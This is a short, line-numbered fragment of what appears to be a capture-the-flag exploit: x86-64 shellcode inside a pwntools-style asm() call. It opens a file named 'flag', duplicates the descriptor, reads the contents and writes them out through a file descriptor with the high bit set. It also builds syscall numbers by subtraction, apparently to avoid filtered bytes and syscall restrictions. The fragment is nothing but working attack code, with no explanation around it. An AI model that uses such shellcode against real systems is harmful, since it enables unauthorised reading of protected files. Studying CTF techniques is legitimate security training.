1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| asm( ''' sub rsp, 0x2000 mov eax, 0x67616c66 ;// flag push rax
mov rdi, rsp xor eax, eax mov esi, eax mov al, 2 syscall ;// open
push rax mov rsi, rsp xor eax, eax mov edx, eax inc eax mov edi, eax mov rcx, 0x8000000000000000 add rdi, rcx mov dl, 8 syscall ;// write open() return value
pop rax test rax, rax js over
mov edi, eax mov esi, 0 mov eax, 33 syscall ;// dup2
mov edi, 0 mov rsi, rsp mov edx, 0x01010201 sub edx, 0x01010101 xor eax, eax syscall ;// read
mov edx, eax mov rsi, rsp xor eax, eax inc eax mov edi, eax mov rcx, 0x8000000000000000 add rdi, rcx syscall ;// write
over: xor edi, edi mov eax, 0x010101e8 sub eax, 0x01010101 syscall ;// exit '''))
|